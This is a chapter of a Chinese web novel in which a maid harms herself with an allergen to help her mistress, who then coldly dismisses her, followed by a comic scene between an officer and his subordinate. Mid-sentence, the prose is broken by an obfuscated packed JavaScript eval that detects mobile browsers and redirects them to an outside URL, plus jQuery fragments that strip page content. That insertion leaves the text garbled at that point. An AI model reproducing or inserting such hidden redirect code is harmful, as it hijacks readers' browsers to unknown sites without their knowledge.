10. 独裁
作品:《荆棘之外》 丽塔没收住力气,将一直叫喊的人一把推出门外。
一转头被后面突然探过来的脑袋吓了一跳,浑身汗毛竖起,下意识地往后退去。
小姐不知道什么时候悄无声息地走到她身后,她天生步伐轻盈,再加上厚厚的毛地毯,脚步的声音被最大可能地缩小。
塔拉莎眉眼弯弯,歪头打量着丽塔脸上的惊恐表情,满脸玩味,像只好不容易找到毛线玩具的小猫,姿态慵懒,满眼兴味地注视着自己的小玩具。
她什么也没说,只用兴致勃勃的眼神盯着丽塔。
丽塔早已消化掉刚刚的惊吓,面上对艾伦的小心翼翼也消失不见,眉眼低垂,恢复以往的沉默寡言。
在小姐身边伺候了这么久,对小姐的心思她也能大致地猜出意思。
她侧耳倾听门外的声音彻底消失才恭敬地说:“小姐,我找了会让我过敏的香料,用密封瓶装好,藏在袖子里,这样就能更好地应对不时之需。”
她一边说一边从围兜里掏出一个小瓶子,递到塔拉莎面前。
塔拉莎眼里的笑意却熄了火,面上却依旧在笑,两根雪白的手指夹住瓶口放到自己眼前晃着。
瓶子通体乌黑,做工粗糙,外表上还有或密集或分散的小颗粒分布在上面,瓶口用木塞堵住,还是有些香粉洒出来。
丽塔忍不住抬眼望去。
白嫩的指腹和黑漆漆的瓶身对比鲜明。
在这只仿若世间最精美的手工艺品的衬托下,随便买的地摊货显得更加不堪入目。
丽塔垂眸望向自己的脚尖,手指忍不住攥紧衣角,心想下次要换一个好点的瓶子,这种粗糙的东西怎么配出现在小姐眼前。
“咚——”
清脆的落地声打断了她的思考。
小姐手腕一甩,如同指挥家挥舞指挥棒一般优雅,做工粗糙的瓶子随着她的动作被扔了出去,精准地落进地上的一个银瓶里。
塔拉莎嘴角带笑,眼中却如同雪山上的黑夜般冰冷,她红唇微启:“是谁让你去弄这些东西的。”
丽塔手攥得更紧,有些不知所措又理所当然:“万一出现意外情况,这个东西兴许有用。小姐您看,今天不是派上用场了。”
看出她脸上的表情,塔拉莎就知道她认为自己并没有做错。
她脸上的微笑再也维持不住。
明明一切她都算计好了,为什么不按她的计划来?
为什么一定要自作主张,甚至不惜搭上自己去做一些自以为能帮到她的事情。
她心里冷哼一声,这种自以为的献祭,其实一点用都没有。
将毒药藏在袖子里来防备这种根本不需要防备的事情,没有估算清楚自己的能力就敢去妄想不可能完成的计划,不是蠢是什么?
本来只要她随口说一句打骂侍女,没有一个人会怀疑,可她偏偏要搞出这么一桩事,将简单的东西复杂化。刚开始看到她脸上的红点,她还以为丽塔突然变得这么聪明,竟然知道贴一些假的伤痕来伪装,还搞得那么逼真。
结果却是她聪明过了头,逼真也过了头。
为了这么一点小事就给自己下毒······
她越想越生气,脸上笑意却愈发明显,她缓缓逼近丽塔。
“抬起头来,看着我。”
丽塔慢慢挺直脊背,脑袋向上扬,直视小姐的双眼,清澈的瞳孔如同一面有颜色的镜子,将她整个人印在上面。
在她抬头的同时,塔拉莎纹丝不动,头颅高昂,像只骄傲的白天鹅。
转瞬之间,她猛然凑近。
温热细软的呼吸喷洒在丽塔的脸上,脸上笑意陡然消失不见,眼睛微眯,整个人散发这阴凉的气息,丽塔不禁打了个寒颤。
现在的小姐,让人无端想起树林里抓捕猎物时伺机而动的毒蛇。
不止脸色寒冷,那张形状优美的唇吐出的话也带着冷意:“我说,是谁,让你去弄这些东西的。”
丽塔被冰得连呼吸都仿佛被冻住:“是我······”
塔拉莎毫不留情地打断:“是你自作主张,是吗?”
看出她还要说些什么,无非就是说那些毒药在今天派上用场,并不是毫无用处之类的话,塔拉莎一点都不想听。
她直起身,拉远她们之间的距离。
“我说过,不要做这种没有意义的事,这才过去几分钟,你就把我的话当成耳旁风吗?”
丽塔却少见地反驳她:“不,小姐,这不是没有意义的事情。至少,这让您不用自己再寻找发难的借口让梅里特亲自过来······”至少这能维护小姐的名誉,不会因为打骂侍女而被外人说道。
塔拉莎挑眉:“哦?我需要你来为我考虑这种根本不需要动脑的事吗?还是用这种蠢方法来帮我,为了帮助我达成一个如此容易的目标把自己搞成这幅鬼样子?”
她笑起来:“有必要吗?”
她本以为丽塔会认错,但结果却出乎她的意料。
丽塔眼神炯炯,仿佛带着极强又坚定的信念,直勾勾地望向她。
“有必要,哪怕在您觉得我很蠢,但是只要这种蠢方法能帮到您,哪怕付出再多,就值得我这么做。”
那双寡淡如水的棕色眼眸在此时却如同天上零星闪烁的星光,渺小却坚定。
但这种坚定注定打动不了铁石心肠的人。
非常凑巧,塔拉莎就是这种人。
她快被气笑了,伤敌八百,自损一千的方法,竟然真的有人觉得值得?
“我说过,不要自作聪明,不要插手我的计划,这句话你是听不懂吗?”塔拉莎一点都不想再看见她这个人,干脆背过身去,“滚出去,去把你的脸治好,顺便让医生好好给你检查一下脑子,没有成效之前不要出现在我眼前。”
背后的呼吸声变得急促。
始终没有听到想要的脚步声,塔拉莎踱到沙发前,端起那人给她倒过茶水的茶杯,当着丽塔的面将茶水倒进旁边的观赏盆栽里面。
“茶凉了,就该倒掉。”
不过几秒钟,她就听到她想要的回复。
“是,小姐。”
房间内除了她自己再没有一个活物,她手腕一转,脆弱的白瓷杯飞扑出去,在坚硬的桌腿上撞了个粉身碎骨。
不仅是那杯子,门外的丽塔透过即将关闭的门缝将里面的动静听得一清二楚,一颗心也跟着那只白瓷杯子撞得七零八落。
她关上门,额头抵在门板上久久也不动弹。
也不知道过了多久,一声咳嗽毫无预兆地打断她的面壁思过。
“那,那个,你没事吧?对不起啊,我刚刚不是故意要戳你痛点的,主要是我不知道你是过敏了,刚刚条件反射,就······算了,纯口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512523|170452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头道歉也太没有诚意了,你有什么想要的,你告诉我,只要是我能做到的,我一定给你办好。”
丽塔闻声转头望去,刚刚被她推出去的那人斜倚在一根巨大的柱子上,说话的时候稍稍站直,脸上也没有那惹人生厌的丑陋笑容,嘴角却像被人用钉子固定在上翘的位置。
呵。我想要的?
我想要杀了你的长官。
丽塔心里冷笑,移开视线,径直向楼梯走去。
只留艾伦在原地瞪着双眼睛。
他挠了挠头,不是,这夏克莱特庄园里的人怎么都那么难搞啊,小姐这样,侍女也这样。
他认命地一头撞柱,看来以后的工作量有些大啊。
没成想这工作没压垮他,头顶传来的剧痛先痛死他了。
他一时没收住力道,银制的面具和坚硬的柱体来了个亲密接触,齐刷刷地挤压他的额头。
噩耗远远不止这一个,在他揉头起来的时候,刚好与楼下的长官四目相对。
艾伦:“······”
固定的嘴角突然被人拔了钉子,猛然往下垂。
他怎么就忘了这件事呢?
刚刚在房间里,他双管齐下,不仅将塔拉莎小姐安慰哭了,还怀疑了小姐身旁的侍女并不负众望地得罪了,最后喜提扫地出门,百般忙碌之中,唯独忘了大人交代给他的事情——请塔拉莎小姐下去重新接受询问。
艾伦认命地咽了咽口水,抖了抖肩膀,哆哆嗦嗦地下去挨骂。
梅里特其实已经看了很久,虽然没有看到艾伦是如何出来的,但是他完整地观看了下属疑似搭讪不成被忽视的全过程。
顶着冰冷的视线,艾伦飞快走到座椅前立正站好。
站得笔直,下巴快要埋进胸口。
梅里特懒得看他那鹌鹑样,眼不见心不烦,干脆换了个方向,转向窗外。
“报告大人,塔拉莎小姐生气了,不愿意下来。她说,如果想要道歉或者审问的话,麻烦您亲自上去找他,不要再让艾伦去了。”
梅里特抬手按着太阳穴:“她真的是这么说的?”
艾伦点头,满脸确定:“是的大人,塔拉莎就是这么说的。”
塔拉莎小姐说让大人亲自上去,那不就是不要让他再去的意思嘛。
梅里特冷着张脸,面无表情地盯着他:“那她为什么还在生气?你做了这么久的善后工作,连这么简单的事情都搞不定?”
听得艾伦粘在胸口的下巴都往上翘。
“?”
简单?
艾伦双眼瞪得像大厅内部装饰用的硕大珍珠,简直要夺眶而出,随之而出的是滔天的疑问。
梅里特扫他一眼。
满腔的疑问还有欲落不落的眼珠全被这突然的冷气冻回去。
“其实是差点搞定。”
梅里特精准捕捉重点词汇:“差点?”
艾伦舔了舔嘴唇:“是差点,本来我都要用我那极具技巧的口舌将她说服了,谁知道突然就出现一个意外······”
他顿了顿,将刚刚发生的全盘托出。
他一边说一边暗戳戳地观察:“再加上塔拉莎小姐之前的气还没消,这两者一叠加,她就更生气了。”
梅里特闭了闭眼睛,手指从太阳穴移至眉心。
心里第不知道多少次想把这人打包送走。